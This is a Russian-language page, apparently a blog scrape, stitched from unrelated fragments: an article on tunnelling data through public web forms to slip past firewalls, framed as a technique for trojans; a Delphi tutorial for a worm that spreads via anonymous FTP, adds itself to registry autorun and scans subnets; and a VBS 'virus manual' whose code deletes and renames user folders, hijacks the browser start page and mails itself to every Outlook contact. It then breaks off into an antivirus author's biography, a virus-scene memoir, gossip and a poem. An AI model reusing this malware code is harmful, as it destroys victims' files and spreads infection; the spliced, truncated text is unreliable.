Мы будем говорить о хитроумном способе передаче данных. Таком хитроумном, что
сложно так вот сходу придумать ему применение, однако нижеизложенная техника -
это факт, и неизвестно что она принесет миру, а возможно так и останется жить
только в теории и да у маньяков с плохим зрением.
Чтож, ближе к делу ?

Принцип работы.

Условимся, что на на странице
http://www.server.com/cgi-bin/formParsing.pl есть некая форма с
параметрами: nick, message и кнопкой отправки введенных данных.
Примерно следующего содержания:

nick

message

После ввода данных эти данные печатаются на этой же странице сверху
(грубо говоря, это урезанный чат).

Любой человек в интернете может ввести туда данные и отправить их на обработку серверу.
Если мы введем: : "жду тебя вася в 19-00 у Ленина",
тогда тот вася, который ждал этого сообщения, увидев эту надпись может пойти к
Ленину к 19-00, если посчитает это нужным.

Теперь спроецируем это все на программы (cgi скрипты)
Если один из серверов в интернете периодически читает эту страницу и ищет на ней
определенную сигнатуру, а другой сервер в интернете посылает эту сигнатуру на
эту страницу, а после нее посылает определенный блок данных, то первый
определив сигнатуру, может получить и те данные, которые были посланы вторым.

Допустим на вышеуказанную страницу мы отсылаем

name="robot19jkeks"
message="robot19jkekshttp://www.anotherserver.com/cgi-bin/AnotherFormParsing.pl(nick[20]message[300])"

Первый сервер определяет сигнатуру "robot19jkeks", после чего начнает искать
сигнатуру дальше, после чего уже знает что находятся данные, а данные уже вот
эта строка:

http://www.anotherserver.com/cgi-bin/An … Parsing.pl(nick2[20]message2[300])

эти данные могут означать например то что это ссылка на друую страницу, где
аналогичн можно оставлять данные в параметрах nick2 и message2, причем для
nick2 - длинна данных может быть до 20 символов, а для поля message2 300 байт.

Это и есть основной принцип работы, пусть достаточно медленный, однако
принципиально возможный.

Обход firewalls.

Технология предоставляет дополнительную универсальную возможность обхода
firewalls. Почему принципиальную ? Потому что чтобы устранить эту возможность
потребуется анализ данных, однако никогда нельзя будет точно утверждать, что
это написал человек, а это машина. Аналогичная проблемма с анализом писем на
предмет спама.

Проблемма реализации в том, что необходима динамическая страничка доступная с
как со стороны внутренней сети, так и со стороны внешней сети.
Только в этом случае это будет универсальным методом обхода firewalls.

Теперь на примере, на урале один из провайдеров предоставляет доступ в
интернет, но при этом предоставляет услугу просмотра статистики и изменения
кое-каких параметров бесплатно, если зайти с диалапа под открытыми для этого логином и
паролем.

Вот эта форма, подверженная уязвимости:

Имя электронного ящика

Периодичность

0.Не получать
1.В конце месяца
2.Еженедельно
3.Ежедневно

Заполнив форму и отправив ее, сервер провайдера запоминает адрес электронной
почты и периодичность, при следующем просмотре этой страницы, мы увидим эти
параметры в этой же форме, что нам и требуется.

Эту страницу можно посетить как из интернета, так и с бесплатного доступа к
статистике. Теперь нам осталось написать
сервер и клиент, и можно, пусть на медленной скорости, передавать/получать
данные.

Технологии для троянов вирусов и червей

Сразу же надо подчеркнуть, что тут нет пропаганды, а лишь открываются
факты подтверждающие возможности.

Известная группа gray-world утверждает (точнее один из ее рускоязычных
участников), что эта технология будущего для вирей
или троянов. Давайте немного поразмыслим.

На чем основаны нынешние вирусы и черви ? Правильно на последних ошибках, но как
быстро пишутся черви ? Проходит достаточное время, плюс к тому иногда проблеммой
может стать точка старта для червяка, так же редко бывает что червя поддерживает
анонимная группа, что плюсов в распространении его не

...Давай сегодня напишем своего сетевого червя? Тебе по любому хотелось иметь такую зверушку! Сегодня я тебе в этом помогу! Писать мы будем на Delphi6. Наш червь будет распространяться через ftp сервера с анонимным входом. Итак, поехали! Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.
Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:
var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:
var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому

*~Мануал по созданию вируса~ на VBS! (' - указанные ниже абзацы не прописывать).
-------------------------------------------------------------
Ну начнем.......
Открываем простой блокнот (при помощи блокнота можно создать почти что угодно)......И прописываем основное начало нашего вируса:

CODE' абзац
Set f = CreateObject("scripting.filesystemobject")
Set s = CreateObject("Wscript.Shell")
t=0: on error resume next
Set os = CreateObject("Shell.Application")
set ie = WScript.CreateObject("InternetExplorer.Application")
Set oe = WScript.CreateObject("Outlook.Application")

Так начинку сделали....
Теперь я пропишу ВАМ основные действия вируса:..... 

1) Сделаем так чтобы после открытия нашего проекта у юзвера выскочило сообщение: 
CODE'     Вывести сообщение
s.popup "text1", , "text2", 0+16

text1 - само сообщение
text2 - заголовок сообщения

0+x - тип сообщения
(0+0) - обычный тип
(0+16) - ошибка
(0+64) - информация
(0+48) - восклицание
(0+32) - вопрос

2) Нам нужно что-то переименовать....
CODE' Переименование всех файлов, находящихся на Робочем столе на "text"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="text" & t
next
end if
next

text - новый текст!
-------------------------------------

' Переименование папки Мои документы на "Новое_Название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder): tf.name="Новое_Название"
End if
next
------------------------------------

' Переименование всех файлов, находящихся в Моих документах на "Новое_название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="НАЗВАНИЕ" & t
next
end if
next
------------------------------------

' Переименование всех файлов, находящихся в Главное меню\Программы на "новое_название"
For Each Folder In s.SpecialFolders
if right(folder,12)="Главное меню" then
set tf=f.getfolder(folder)
set af=tf.subfolders
For Each fl In af
set file=f.getfolder(fl):t=t+1
file.name="новое_название" & t
next
end if
next

3) Нам нужно что-то переместить:

CODE' Перемещение Рабочего стола в "FOLDER"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
f.copyfolder folder, "FOLDER"
f.deletefolder folder, true
next

(folder - папка)
--------------------------------------

' Перемещение папки Мои документы в "папка"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
f.copyfolder folder, "папка"
f.deletefolder folder, true
next

4) ......Интернет 
CODE
' Сделать домашней страницу "http:\\hack-all.net"
s.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\hack-all.net"
----------------------------------------

' Перейти на сайт "http:\\hack-all.net"
ie.Visible = True
ie.Navigate "http:\\hack-all.net"
----------------------------------------

' Разослать вирус Всем контактам неприятеля
For Index = 1 To oe.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = oe.CreateItem(0)
OutMail.to = oe.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "в теме письма"
OutMail.Body = "в теле письма"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next

5) Удаляем нужные объекты....
CODE'     Удаление специальных папок
For Each Folder In s.SpecialFolders
-------------------------------------------------

' Удаление Рабочего стола
f.deletefolder s.SpecialFolders ("Desktop"),true
-------------------------------------------------

' Удаление Aplication Data
if right(folder,15)="Aplication Data" then f.deletefolder folder,true
-------------------------------------------------

' Удаление PrintHood
if  right(folder,9)="PrintHood"  then f.deletefolder folder,true

Может кому понадобиться мой ДНЕВ?

Всё , что вам не нужно - выкиньте к чертовой бабушке и юзайте на здоровье, это к новичкам относится.

Полезных штучек ( в т.ч. самописных ) в нем хватает, дизайн переделать - как 2 байта.

,,

................цивильно послать, это ИСКУССТВО !!!

[показать]

[показать]

[показать]

Кошмарик, да?

Друзья-министры Лозинского (второй слева - Яков Уринсон) появились со времен работы в Гослане. Он жалеет их до слез: ни минуты покоя и никакого морального удовлетворения.

Математик, сын математиков

Лозинский коренной москвич. ("Безнадежный москвич",- уточняет он. За свои 59 лет редко куда выезжал из Москвы.) Родился в семье математиков, выпускников мехмата МГУ. "Я получил математическое воспитание",- говорит Лозинский. И дома, и в школе его учили докапываться до сути: его первая учительница начинала работать в школе еще до революции. Так что решать задачки он любил с детства. А с седьмого класса пошел в математический кружок при Московском университете. Там подружился с Владимиром Арлазаровым, который впоследствии руководил проектом создания шахматной компьютерной программы "Каисса". Так что дорога на мехмат для него была прямой.

Но с распределением, как говорит Лозинский, у него произошел несчастный случай - загребли в КГБ. Советские чекисты тогда поймали двух американских шпионов, которые легко умели взламывать наши шифры. Наверху забеспокоились и постановили: набрать специалистов без всяких разговоров, дать им жилье и т. д. В то время уже началась хрущевская оттепель (одного университетского парня, который где-то украл шрифты и задумал организовать подпольную типографию, представьте себе, даже не посадили), но ребята привыкли к железной дисциплине.

Лозинский оказался в восьмом управлении КГБ, где занимались проблемами шифрования. Как говорится, чистая, любимая им математика. Но за четыре года наскучило. Из КГБ он перешел на работу в госплановский Главный вычислительный центр (ГВЦ). Начал изучать экономику, прочел Канторовича - одного из самых именитых российских экономистов-математиков. Но тут в ГВЦ появилась английская ЭВМ "Эйри-503", которую нужно было программировать на языке АЛГОЛ. Те, кто знал этот язык, считались крутыми парнями, и Лозинский на 28-м году жизни впервые занялся программированием. (Кстати, московским школьникам Лозинский первым делом говорит: "Если вы научились программировать, забросьте это дело лет на пять. Догнать всегда успеете. Я в 28 лет научился. И даже чего-то достиг".)

Он быстро стал авторитетом, попал в начальники, стал учить других. Наверное, это наследственное: его мама в 60 лет освоила язык программирования и написала программу, которой пользовались многие. И еще Лозинский приобрел репутацию человека, который все знает и способен ответить на любой вопрос. К нему приходили и спрашивали. А он, поддерживая репутацию, старался первым узнавать обо всем новом.

Работали в ГВЦ много, сутками. Личный рекорд Лозинского - 41 час на работе. Полоской перфоленты длиной в метр - на ней была записана программа, которая заменила с десяток людей, считавших статпоказатели,- он однажды сэкономил стране 8 тонн бумаги в год. Но к своей работе в Госплане Лозинский всегда относился скептически: "Толку было ноль. Мы не работали, а выполняли план и соцобязательства".

Приятельские отношения с бывшим и нынешним министрами экономики - Яковом Уринсоном и Андреем Шаповальянцем - у Лозинского сложились со времен совместной работы в Госплане (затем - Минэкономики). Но если Уринсон, сын чиновника, работал добросовестно и старался делать все, что от него требовали, то Лозинский с его математическим воспитанием не мог работать на Госплан. Спорили жутко. "Занимаюсь тем, что мне интересно, а ишачить на вас не хочу",- заявлял Лозинский Уринсону. А тот кричал в ответ: "Выгоню к чертовой матери!"

Не выгнал, конечно, но Лозинский старался ограничиваться ролью консультанта. И тут в Россию попал компьютерный вирус.

Больше всего Лозинский любит бродить по лесу. И из всех курортов признает только один - свою избушку на Селигере.

Счастливый вирус

Это был вирус "Вена", заражавший файлы, при выполнении которых компьютер немедленно перезагружался. Он внедрился в госплановский компьютер, и люди в полном недоумении прибежали к Лозинскому, полагая, что машина сломалась. О компьютерных вирусах он уже кое-что слышал и понял, что это он. Дома вечером Лозинский препарировал вирус и тут же написал для него антивирусную программу. Это была первая версия Aidstest.

Затем появился вирус "Каскад" - с треском осыпающиеся на экране буквы. Вторая версия Aidstest ловила уже и его.

Просьба ко всем - раскидать эту историю во все эхотажные эхи, где это позволяют рулесы. Можно свободно включать этот текст во все вирмейкерские журналы.

Я не беру на себя никакой ответственности за правдивость содержания, однако почему то верю. Ну не считая, конечно, эмоций самого Товарища Садиста.

...True Face Of Evil: Real History, Real Dirt...

...Истиное Лицо Зла: Реальная История, Реальная Грязь...

• Глава I - Товарищ Садист мертв!
• Глава II - Блуждающие стелсгрупники
• Глава III - Hа деревню дедушке
• Глава IV - Киберпанковский гуру
• Глава V - Нежный Рыжик
• Глава VI - Заговор
• Глава VII - Кровное братство
• Глава VIII - Детектив переходит в боевик
• Глава IX - После смерти
• Глава X - Последняя битва
• Вместо послесловия

Компьютерный андерграунд всегда был разбит на две части - силы Тьмы (которые почему-то всегда ассоциировались со STEALTH GROUP, конкретнее - с LovinGOD'ом) и разрозненные тусовки неформалов-вирмейкеров, которые со временем находят цивильную работу, девушку, etc., за что "властелин Тьмы" LovinGOD "опускает" их. А потом пишет грустные "литературные произведения" на тему того, как "попсеют" все вирмейкеры. А никто не задумывался, почему вирмейкеры превращаются в цивилов? Почему Reminder стал играть на гитаре и писать стихи вместо того, чтобы писать вирусы? Почему Dirty Nazi, того хуже, стал вообще цивилом? Почему Zhengxi, написав действительно навороченный полиморфик, после этого ушел со сцены? Почему SSR стал вставлять в вирусы строчки типа "Наташка, я тебя безумно люблю!", а потом вообще перестал их писать? Скорее всего,причина в самом LovinGOD'е. По крайней мере нижеследующая история совершенно реальна и она подтверждает мое предположение... Заранее извиняюсь за слишком длинную историю, но я излагаю реальные факты. Кого интересует концовка - см. 9 и 10 часть.

Глава I - Товарищ Садист мертв!

В конце 2000 года я исценировал свою смерть - якобы пошел на разборку и не вернулся. Всем уже ясно, что это был просто трюк. Но произошедшее дальше было весьма серьезно: в гости ко мне управление "Р" приехало о смысле жизни побеседовать, а заодно отобрало системник и пригласило на допрос. В этой истории было много грустного и смешного, ее я как-нибудь опишу отдельно, а здесь она будет рассматриваться в общих чертах как часть стелсгрупных приключений. Может быть, связь между этими историями более конкретная, но достаточной уверенности в том, что LovinGOD работает на правоохранительные органы, у меня пока нет. Пришли, в общем, и раскрутили на признание. Бэды на изъятом винте, пара безуспешных попыток запутать следствие, но результат неутешительный - "признаюсь и раскаиваюсь в содеянном". Чуть не пришили ложное обвинение, кое-кто стуканул. Стремнулся, честно говоря. Единственное, что радует - это что никого не сдал (даже если бы и было кого и за что), навредил только сам себе. После этого, хоть я и был материалистом, я мысленно продал душу дьяволу и решил, что готов на все ради реального могущества и реальных возможностей скрываться - на зону я не пойду. Дьяволом оказался LovinGOD, которому я позвонил на мобильник и рассказал, какая хрень стряслась. Мне популярно объяснили, как запутывать следствие, а перед этим основательно промыли мозги на тему мировоззрения (чернуха - это любимая тема LG, без нее он ничего не будет вам объяснять, кто не темный - тот г@вно по его мнению). Тогда я охотно глотал абстрактную чернуху вперемежку с конкретными оскорблениями: я сам себя ненавидел за то, что дал "признательные" показания. Четкой версии защиты от следствия не было придумано, куча разрозненных отмазок. Эти отмазки не сработали и я облажался второй раз. Дальше я должен был идти сам,а моя ошибка была в том, что я подпустил "главного офицера сатаны" слишком близко к себе. Это самодовольное существо заваливалось ко мне на хату, помимо того что все сожрет и оставит за собой свинюшник (хозяин панк - сам виноват), так еще он регулярно промывал мне мозги

Отношения, выраженные Вам или Вами за последние 60 дней. (смотреть все)

Отношения к Вам От кого Комментарий Дней dangerous-kitten респект от dangerous-kitten) 5 дн. sianin во-первых - седьмой, во-вторых - взаимная) 9 дн. коричьневое_падло спасибо )). взаимно. /*КП*/ 10 дн. Биллькина_Я хихи...круть получилось, не правда ли??Спс за симпу=))) 11 дн. Dark_Vortex Награждается за Безграничную Смелость и Благородство. 20 дн. SilentCoder Сай не останется в долгу 27 дн.

\

.

Тема пятая. Дурные привычки. Виктория Бэкхем сосет большой палец. Вкусно, надо сказать, сосет... [показать]

Ники Хилтон... Ковыряет в носу... Смачно так ковыряет... [показать]

Бритни Спирс. Налегает на сосательные конфеты. С ее-то весом!.. [показать]

Впрочем, Бритни - это особая история. В каком только виде она не мелькала перед публикой!..

без названия... просто прочти...

[показать]

И рассвет не покажется ясным,
И полнеба застелет дым.
Солнце встало щитом черно-красным,
Только черен город под ним.

Весельчак, пересмешник бродяга,
Черт-не-брат! и жизнь - благодать.
Под каким неизвестным флагом
Ты опять ушел воевать?

Кем ты призван и кем ты отмечен,
По какому идешь пути?
Я тебя никогда не встречу,
Ты меня не сможешь найти.

Я уйду, не закончив сраженья,
А тебе - умирать в бою.
И не встретяться наши тени
Даже в том, далеком краю.

Мчаться всадники, дышат кони,
И хороших не жди вестей.
Черный город на алом фоне
Убивает своих детей.